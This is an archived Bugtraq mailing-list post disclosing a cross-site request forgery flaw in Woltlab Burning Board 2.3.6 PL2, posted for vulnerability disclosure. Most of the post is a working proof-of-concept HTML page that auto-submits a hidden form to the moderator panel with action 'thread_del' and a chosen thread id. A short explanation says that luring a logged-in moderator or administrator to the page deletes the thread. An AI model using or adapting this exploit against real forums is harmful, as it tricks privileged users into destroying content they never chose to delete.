Bugtraq mailing list archives
Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability
From: nbbn () gmx net
Date: Wed, 23 Jan 2008 20:49:48 +0100
######################################################## Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability by NBBN Founed: December 2007 Type: Cross-Site Request Forgery ######################################################## Code: <html> <head> </head> <body onLoad="javascript:document.it.submit()"> <form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it"> <input type="hidden" name="action" value="thread_del" /> <input type="hidden" name="threadid" value="5" /> <!-- Here the thread-id --> <input type="hidden" name="send" value="send" /> <input type="hidden" name="sid" value="" /> <input type="submit" accesskey="S" value="Ja" class="input" /> </body> </html> An attacker can send a link to a site with this code to a moderator/administrator and then the thread with the threadid are going to be deleted, when the mod/admin is logged in. (Sorry for my bad english ;-) )
Current thread:
- Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability nbbn (Jan 23)